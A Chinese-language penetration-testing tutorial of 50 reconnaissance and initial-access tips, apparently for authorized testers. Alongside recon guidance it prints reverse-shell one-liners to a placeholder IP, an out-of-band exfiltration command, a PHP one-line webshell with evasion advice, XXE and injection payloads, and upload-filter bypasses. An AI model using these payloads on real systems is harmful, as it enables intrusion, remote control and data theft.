1. 项目概述为什么你需要一份“打点”技巧清单刚入行安全测试或者对Web渗透感兴趣的朋友可能都听过“打点”这个词。它听起来有点黑话但核心意思很简单在授权测试或安全评估的初期快速、高效地找到目标系统的薄弱入口为后续的深度渗透建立“据点”。你可以把它想象成一场战役前的侦察兵行动目标不是立刻攻陷城池而是找到城墙的裂缝、守卫的盲区或者一扇忘记上锁的后门。为什么“快速打点”如此重要在实际的渗透测试、红队演练甚至众测项目中时间往往是最大的敌人。甲方给你的测试窗口可能只有几天面对一个庞大的企业资产如果你还在用最笨的方法一个个端口去扫一个个目录去猜等找到入口测试周期也快结束了。这时候一套经过验证的、高效的“打点”技巧集就是你手中的瑞士军刀能帮你在信息海洋中迅速定位到那些“低垂的果实”。网上流传的技巧很多但往往散乱、不成体系或者充斥着过时和错误的信息。我结合自己这些年的实战和带新人的经验整理了这50条技巧。它们不是高深莫测的0day利用而是聚焦于那些被广泛忽视却极其有效的常见配置错误、信息泄露和逻辑缺陷。从零基础的信息收集到需要一点理解的漏洞利用我都尽量给出了可操作的具体命令、工具和判断逻辑。收藏这一篇相当于拥有了一份覆盖Web渗透前期80%场景的检查清单。2. 核心思路高效打点的“漏斗模型”在开始罗列技巧之前我们必须建立一个正确的思维模型。盲目地执行100条命令不如有策略地执行10条。我习惯把打点过程看作一个“漏斗模型”。第一阶段资产发现与测绘开口最大目标尽可能全地发现与目标相关的所有资产。包括主域名、子域名、关联公司、IP地址段、云服务、移动应用、甚至第三方服务等。思路是“旁敲侧击”不直接硬刚主站。第二阶段信息收集与枚举初步筛选目标对发现的资产进行深入探查收集技术栈信息、敏感文件、目录结构、员工信息、历史漏洞等。思路是“顺藤摸瓜”利用公开情报和自动化工具将资产信息转化为可能的攻击面。第三阶段漏洞探测与验证精准过滤目标针对第二阶段筛选出的高价值目标使用自动化工具结合手动测试快速验证常见的高危漏洞如SQL注入、XSS、文件上传、未授权访问等。思路是“快速试错”用最低成本验证漏洞是否存在。第四阶段入口突破与权限建立漏斗出口目标将已验证的漏洞转化为实际的入口点获取一个初始的立足点比如一个Webshell、一个后台权限、或者一个可交互的会话。思路是“稳扎稳打”确保入口的稳定性和隐蔽性。下面所有的技巧都将围绕这个漏斗模型展开。我们会从最外层的资产发现开始一步步向内收缩直到找到那个关键的突破口。2.1 心态准备合法授权与工具认知在接触任何技巧之前必须强调两个铁律第一所有测试必须在获得明确书面授权的前提下进行。未经授权对任何系统进行渗透测试都是违法行为。这里的技巧仅用于安全学习、授权测试和提升自身系统安全性。第二工具是思维的延伸而非思维的替代。不要迷信全自动工具。一个优秀的渗透测试员其价值在于对工具输出结果的分析、判断和串联能力。自动化工具帮你发现“可能”而你的大脑负责确认“确实”。3. 资产发现与测绘阶段技巧技巧1-15这个阶段的目标是“看见”所有目标。很多企业安全防护的重心在主站但其安全边界往往在那些被遗忘的角落被突破。3.1 子域名挖掘不止于枚举常规枚举工具链subfinder,amass,assetfinder是当前主流。但不要只用一个。我的组合拳是subfinder -d target.com -silent | anew subs.txt进行初步收集再用amass enum -passive -d target.com -o amass.txt进行被动枚举最后合并去重。证书透明度日志CT Log这是宝藏。使用crt.sh网站或curl -s https://crt.sh/?q%.target.comoutputjson | jq -r .[].name_value | sed s/\*\.//g | sort -u命令可以找到大量其他工具遗漏的子域名特别是那些短命的测试、预发布环境域名。DNS聚合查询dnsdumpster.com、securitytrails.com部分功能免费等平台能提供历史的DNS记录有时能发现已经下线但未解绑的IP这些IP可能被新项目复用安全性堪忧。搜索引擎语法site:*.target.com在Google或Bing中搜索有时能发现一些未被其他工具收录的“野生”子域。结合-www排除主站效果更佳。泛解析检测与利用如果发现*.dev.target.com这样的泛解析记录可以尝试爆破一些常见前缀如test、staging、api、admin、vpn、mail。工具如gobuster dns或自己写个简单的bash循环for prefix in $(cat wordlist.txt); do host $prefix.target.com; done。关联资产发现通过whois查询目标公司注册的其他域名或使用domains.projectdiscovery.io这类工具。公司的收购、子公司、旧品牌都可能成为突破口。云资产指纹识别如果目标大量使用云服务AWS, Azure, GCP等尝试通过特定指纹发现资产。例如AWS S3桶的域名格式为bucket-name.s3.amazonaws.com或s3.amazonaws.com/bucket-name。工具如cloud_enum或s3scanner可以自动化这个过程。一个可公开访问且配置错误的S3桶往往是数据泄露的重灾区。IP反查与C段扫描获取到目标域名的IP后dig target.com进行IP反查host可能发现同一IP上绑定的其他域名。同时扫描该IP所在的C段如192.168.1.0/24但需注意法律边界通常只扫描授权范围内的资产。工具masscan快但噪音大、nmap稳但慢。端口扫描策略不要一上来就全端口扫。先快速扫TOP 1000端口nmap -sS -T4 --top-ports 1000 target-ip根据结果如发现80/443是Web22是SSH3306是MySQL再针对性地进行全端口扫描或版本探测-sV。Web服务识别与抓取对发现的所有开放80/443/8080/8443等端口的服务用httpx或httprobe快速验证存活并获取标题、状态码。然后用gospider、hakrawler或waybackurls进行初步的链接抓取为后续目录爆破做准备。GitHub/GitLab信息搜集在代码托管平台搜索公司名、项目名、邮箱后缀。可能发现泄露的API密钥、数据库连接字符串、硬编码的密码或内部系统地址。手动搜索结合工具如gitrob需Token或truffleHog寻找高熵字符串效果更好。JS文件分析现代Web应用大量逻辑在前端。用subjssubfinder -d target.com | httpx -silent | subjs收集JS文件然后使用LinkFinder或自己写正则如/(https?:\\/\\/[\\w\\.\\-\\/])/gi从中提取新的接口API端点、子域名和路径。这常能发现测试环境、内部API的地址。WAF/CDN识别与绕过使用wafw00f或nmap --script http-waf-detect识别WAF。如果目标在CDN后面用ping看返回IP是否属于Cloudflare/Akamai等真实IP可能通过历史DNS记录、邮件服务器头、SSL证书关联IP、或利用全球多地ping服务如viewdns.info来查找。移动应用资产提取如果目标有App从应用商店下载APK或IPA文件使用apktool或jadx反编译在资源文件、字符串常量、Native库中搜索域名、URL、API密钥。MobSF是一个优秀的自动化移动应用安全测试框架。员工信息与邮箱收集通过领英、公司官网“团队”页面、技术社区GitHub, Stack Overflow收集员工姓名和可能的邮箱格式如 first.lastcompany.com。这为后续的钓鱼攻击在授权范围内或密码爆破如针对O365、VPN登录门户提供字典。实操心得资产发现阶段最容易犯的错误是“浅尝辄止”。看到一个子域名返回403或404就放弃了。务必对每个发现的资产进行基础的信息收集标题、状态码、WAF、技术栈并记录下来。一个403的页面可能只是缺省了一个目录索引其下的具体文件如/admin/backup.zip或许可以直接访问。4. 信息收集与深度枚举技巧技巧16-30有了资产列表现在需要像侦探一样审视每一个目标寻找蛛丝马迹。4.1 敏感文件与目录探测16.目录/文件爆破的艺术不要只用一份通用字典如common.txt。根据目标技术栈组合字典。如果是PHP站点加入php相关字典如果是Java关注jsp,action等。工具推荐feroxbuster快递归或dirsearch功能全。关键参数-x指定扩展名php, jsp, aspx, bak, zip-w使用组合字典--recursive进行递归扫描但注意深度和速率限制。 17.备份文件与源码泄露自动化扫描的同时手动尝试一些经典备份文件路径如/index.php.bak,/.git/index,/.svn/entries,/.DS_Store,/web.config.bak,/wwwroot.zip。这些文件可能直接泄露源码。 18.Git源码泄露利用如果发现/.git/目录可访问使用git-dumper或DVCS-Pillage工具尝试下载整个仓库。即使不能完全下载访问/.git/HEAD或/.git/logs/也可能获取分支信息和提交记录。 19.配置文件与环境变量寻找如/config.json,/.env,/application.properties,/WEB-INF/web.xml等配置文件。它们可能包含数据库密码、API密钥、加密盐等敏感信息。Spring Boot的/actuator/env或/actuator/heapdump端点更是致命。 20.接口文档与调试信息扫描/swagger-ui.html,/api-docs,/v2/api-docs,/debug,/phpinfo.php,/consoleH2数据库控制台。这些端点可能提供完整的API交互界面甚至直接执行代码的能力。4.2 指纹识别与漏洞关联21.全栈指纹采集使用wappalyzer浏览器插件或whatweb命令行工具快速识别CMSWordPress, Joomla、Web框架Spring, Django、前端库、服务器软件Nginx, Apache及版本。命令whatweb -a3 https://target.com -v。 22.版本漏洞即时查询识别出版本后立即在searchsploit、Exploit-DB、NVD或商业漏洞库中搜索该版本存在的公开漏洞。例如searchsploit WordPress 5.7。 23.默认凭证尝试很多设备、应用有默认密码。如路由器admin/adminJenkins早期版本可能空密码Weblogicweblogic/Oracle123。收集一份针对性的默认凭证字典非常必要。 24.错误信息利用故意触发错误如请求不存在的参数、非法输入观察错误回显。详细的错误信息可能泄露路径、SQL语句片段、服务器版本、框架信息为下一步攻击提供线索。 25.HTTP头信息分析仔细检查HTTP响应头。Server、X-Powered-By暴露技术栈Set-Cookie可能泄露框架如PHPSESSID自定义头可能包含内部信息CORS头配置不当可能导致安全问题。4.3 突破边缘应用与入口26.旁站与C段Web应用测试主站防护严密时与其同一服务器旁站或同一网段C段的其他应用可能脆弱得多。这些应用可能是旧的测试系统、 forgotten的官网、或合作伙伴的简易系统。 27.端口服务Web化访问许多服务在非标准端口提供HTTP/HTTPS服务。例如8080Tomcat,8081Jenkins,8888Jupyter Notebook,9000PHP-FPM status,5985WinRM HTTP。用浏览器或curl访问http://target:port看看。 28.API未授权访问现代应用前后端分离API是重点。对发现的API端点尤其是通过JS分析找到的进行未授权测试。尝试访问/api/v1/users,/api/admin/config,/api/export等使用GET、POST、PUT、DELETE多种方法。工具如arjun可以用于发现隐藏的API参数。 29.文件包含与路径遍历的变种不仅测试经典的../../etc/passwd。尝试编码绕过..%2f..%2f、绝对路径/etc/passwd、PHP包装器php://filter/convert.base64-encode/resourceindex.php。参数名也不一定是file或page可能是template,load,path。 30.SSRF的初步探测寻找任何接受URL作为参数的功能点如图片加载、文件导入、网页抓取、Webhook设置。尝试使用http://169.254.169.254/latest/meta-data/AWS元数据服务或http://127.0.0.1:8080内网服务作为输入观察是否有请求发出。即使没有回显也可能造成盲SSRF。注意事项深度枚举时务必注意你的测试行为是否触发了对方的告警机制如WAF、IDS。建议使用代理工具如Burp Suite并设置限速同时仔细检查响应如果遇到大量429请求过多或突然的连接重置应暂停或更换测试点。5. 漏洞快速验证与利用技巧技巧31-45这一阶段我们对准了具体的目标需要用快速有效的方法去“敲门”验证漏洞是否存在。5.1 注入类漏洞SQLi Command Injection31.SQL注入快速初判在任何可能的参数后添加一个单引号或双引号观察响应是否有SQL语法错误信息。或者添加AND 11和AND 12看页面内容是否发生差异。这是最古老但依然有效的初步筛查方法。 32.布尔盲注的时间判断技巧如果页面无回显、无报错尝试基于时间的盲注。输入 AND SLEEP(5)--观察响应是否延迟5秒。但要注意网络延迟可能造成误判最好多次测试。 33.工具辅助与手动结合使用sqlmap进行自动化检测但不要完全依赖。对于复杂过滤如WAF需要手动构造payload。了解常见的绕过技巧大小写、内联注释/*!*/、双重URL编码、换行符%0a分割。 34.命令注入的检测点除了常见的ping、nslookup功能留意任何调用系统功能的地方文件上传后的处理、图片转换、数据导入导出。尝试注入; whoami、| id、$(id)、id。无回显时尝试带外OOB技术如curl http://your-server/?data$(whoami)。 35.NoSQL注入不容忽视MongoDB等NoSQL数据库的注入语法不同。尝试将参数从字符串改为数组或对象。例如原本useradmin尝试user[$ne]nullMongoDB中表示user不等于null可能返回所有用户。Burp Suite的扩展“NoSQLi”有助于检测。5.2 跨站脚本与请求伪造XSS CSRF36.反射型XSS快速测试在每一个输入点URL参数、表单字段、HTTP头插入一段无害的测试payload如svg onloadalert(1)。观察该payload是否原样出现在响应HTML中。注意查看响应源码而不仅仅是渲染后的页面。 37.存储型XSS的寻找场景关注所有用户可控且会被其他用户看到的地方评论、留言板、个人资料、文件上传文件名、日志显示。测试payload同上。 38.基于DOM的XSS的发现这需要分析前端JS代码。在浏览器开发者工具的“Sources”中搜索innerHTML、document.write、eval、setTimeout、location.hash等危险sink并回溯其数据来源source如location.search、document.referrer。 39.CSRF的简单验证对一个状态更改操作如修改邮箱、添加管理员抓取请求GET或POST移除Cookie等认证信息后在另一个浏览器标签页中直接重放该请求。如果操作成功则存在CSRF漏洞。注意检查请求中是否存在CSRF Token等随机参数。5.3 文件上传与逻辑漏洞40.文件上传绕过清单 *前端验证直接抓包修改文件扩展名和Content-Type。 *黑名单绕过尝试pHp、phtml、php5、php7、phar、.htaccess如果允许。 *Content-Type绕过将Content-Type改为image/jpeg或text/plain。 *文件头绕过在恶意PHP文件开头添加GIF文件头GIF89a;。 *双写/点号绕过shell.php.、shell.p.phphp如果过滤规则是删除php字符串。 *解析漏洞配合服务器解析特性如IIS的shell.jpg;.php Apache的shell.php.jpg如果存在AddType错误配置。 41.逻辑越权漏洞IDOR的发现修改请求中的ID参数如用户ID、订单号、文档ID。尝试将其改为相邻数字或其他用户的ID看是否能访问不属于自己的数据。工具如AutorizeBurp扩展可以自动化这个过程。 42.业务逻辑绕过关注流程上的漏洞。例如在支付流程中抓取“确认支付”的请求尝试修改金额为0或负数在验证码环节尝试重复使用同一个验证码在密码重置环节尝试将接收重置链接的邮箱参数改为自己的。 43.竞争条件Race Condition测试对于“限量优惠券”、“余额检查与扣款”等操作使用Turbo IntruderBurp扩展或自己编写脚本同时发送大量请求看是否能突破限制如一张优惠券用多次余额不足却购买成功。5.4 其他常见高危漏洞44.XML外部实体注入XXE快速测试在任何接受XML输入的地方如SOAP API、文件上传、文档解析尝试注入一个简单的XXE payload引用一个外部实体或读取系统文件。例如xml ?xml version1.0? !DOCTYPE test [ !ENTITY xxe SYSTEM file:///etc/passwd ] rootxxe;/root观察响应中是否包含文件内容。 45.不安全的反序列化对于Java应用特征Cookie中有rO0等Base64编码开头或参数中有序列化数据可以尝试使用ysoserial工具生成Payload进行测试。对于PHP关注unserialize()函数的使用。这通常需要代码审计辅助但可以作为一个高风险点记录。实操心得漏洞验证时“无害化”原则至关重要。测试SQL注入用sleep(2)而不是drop table测试命令注入用whoami或ping而不是rm -rf /测试文件上传先传一个无害的test.txt确认路径。你的目标是证明漏洞存在而不是造成破坏。6. 入口建立与权限提升初探技巧46-50找到漏洞后如何将它变成一个稳定、可用的入口6.1 WebShell的上传与连接46.一句话木马的选择与免杀根据服务器语言选择WebShell。PHP的经典款是?php eval($_POST[cmd]);?但容易被查杀。可以尝试变形如使用assert、create_function或进行编码加密。对于Java可以使用冰蝎Behinder或哥斯拉Godzilla的JSP马它们流量加密特征较弱。 47.无文件落地WebShell在某些严格环境下无法上传文件。可以尝试利用已有漏洞向Web目录写入代码。例如通过SQL注入的into outfile功能需有写权限和绝对路径或者利用日志文件包含如修改User-Agent为PHP代码然后包含访问日志文件。 48.反向Shell与端口转发获得命令执行能力后优先尝试建立反向Shell以绕过可能的出站限制。常用命令 *Bash:bash -i /dev/tcp/your-ip/port 01*Python:python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((your-ip,port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);*使用工具nc -e /bin/sh your-ip port如果nc支持-e参数 在本地用nc -lvnp port监听。 49.权限提升信息收集一旦获得一个初始Shell通常是Web服务权限如www-data,apache立即进行信息收集为提权做准备 *id、whoami查看当前用户和组。 *uname -a查看内核版本。 *sudo -l查看当前用户可以以root身份运行哪些命令最重要。 *find / -perm -4000 -type f 2/dev/null查找SUID文件。 *cat /etc/crontab查看计划任务。 *env查看环境变量可能包含密码。 *history查看命令历史。 50.数据库连接与数据提取如果通过SQL注入获取了数据库权限尝试用load_file()读取文件或用into outfile写入WebShell。直接连接数据库可能获取更多信息。找到数据库配置文件如wp-config.php中的连接信息在Shell中用mysql -u user -p -h host连接然后导出数据。7. 工具链推荐与自动化工作流工欲善其事必先利其器。一套顺手的工具能极大提升效率。以下是我个人常用的开源工具链它们可以串联起来形成一个半自动化的打点流程资产发现subfinder/amass子域名枚举。httpxHTTP探测与筛选。naabu/masscan快速端口扫描。nmap详细的端口服务探测。信息收集waybackurls/gau从历史存档中获取URL。gospider爬虫发现链接和JS文件。katana另一个强大的爬虫。ffuf速度极快的Web模糊测试工具用于目录、子域名、参数爆破。dnsxDNS查询与验证。漏洞探测nuclei基于YAML模板的漏洞扫描器社区模板丰富更新快是快速打点的神器。可以对接httpx的输出结果进行批量扫描。sqlmapSQL注入自动化工具。xsstrike专注于XSS检测。代理与中间件Burp Suite Professional商业软件但社区版也足够强大是手动测试的核心。OWASP ZAP开源的Web应用扫描器功能全面。集成平台ReconFTW一个脚本将上述众多工具串联起来实现从子域名枚举到漏洞扫描的一键化当然需要根据目标调整参数和速率。我的简易自动化流程示例# 1. 子域名收集 subfinder -d target.com -o subs.txt amass enum -passive -d target.com -o amass_subs.txt assetfinder --subs-only target.com | anew asset_subs.txt # 合并去重 cat subs.txt amass_subs.txt asset_subs.txt | sort -u all_subs.txt # 2. 探测存活的HTTP/HTTPS服务 httpx -l all_subs.txt -title -status-code -tech-detect -o alive_subs.txt # 3. 从存活主机中抓取URL历史和爬虫 cat alive_subs.txt | waybackurls | anew urls.txt cat alive_subs.txt | gau | anew urls.txt # 4. 使用 nuclei 进行快速漏洞扫描 nuclei -l alive_subs.txt -t ~/nuclei-templates/ -o nuclei_results.txt # 5. 对特定目标进行深度目录爆破 ffuf -w /path/to/wordlist.txt -u https://target.com/FUZZ -fc 403,404 -o fuzz_results.html8. 思维提升与资源推荐技巧是“术”思维是“道”。掌握技巧能让你快速上手但培养正确的安全思维才能走得更远。保持好奇心与怀疑一切不要相信前端验证不要相信默认配置不要相信“这里应该没问题”。所有输入都是有害的所有输出都可能泄露信息。关注“异常”而非“正常”渗透测试就是寻找系统的异常状态。一个超长的响应时间、一个特殊的错误信息、一个不该出现的端口、一个功能上的逻辑矛盾都可能是突破口。建立自己的知识库用笔记软件如Obsidian, Notion记录你遇到的每一个漏洞案例、每一种绕过方法、每一个有用的Payload。定期回顾形成肌肉记忆。阅读漏洞报告在HackerOne、Bugcrowd的公开报告以及各大安全公司的技术博客中学习别人的思路和技巧。看他们如何从一个小点深入进去。动手搭建靶场在本地或使用在线靶场如 HackTheBox, TryHackMe, DVWA, WebGoat进行练习。在安全的环境下尝试各种攻击手法理解漏洞原理。最后记住渗透测试的本质是模拟攻击者的思维和行为以帮助客户更好地防御。始终在授权的边界内行动保持职业操守你的技术才能真正创造价值。这50条技巧是你武器库中的弹药但何时开枪、瞄准哪里取决于你对战场的理解和判断。